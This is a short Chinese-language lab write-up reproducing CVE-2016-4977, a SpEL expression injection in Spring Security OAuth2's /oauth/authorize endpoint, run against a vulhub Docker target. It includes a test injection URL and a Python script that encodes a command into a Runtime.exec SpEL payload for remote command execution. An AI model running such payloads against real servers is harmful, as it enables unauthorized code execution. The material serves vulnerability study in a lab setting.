Spring Security OAuth2 远程命令执行漏洞复现(CVE-2016-4977)
漏洞介绍:
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令
环境复现:
在虚拟机中用vulhub靶场提供的docker容器来复现
jdk版本1.7
python版本3.5
首先安装好vulhub和docker,进入vulhub目录:spring/CVE-2016-4977,启动docker容器
漏洞利用:
访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都是spring或者springboot
直接打poc,可以看到有el表达式注入的形式
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
如果要命令执行需要把执行结果带外才行,java的命令执行漏洞基本需要编码
完成编码
Base64编码后的命令执行语句还需要进行ascii编码,直接带入以下python脚本中
message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)
得到的编码之后的poc
python编码的poc直接替换掉前面的el表达式,漏洞成功复现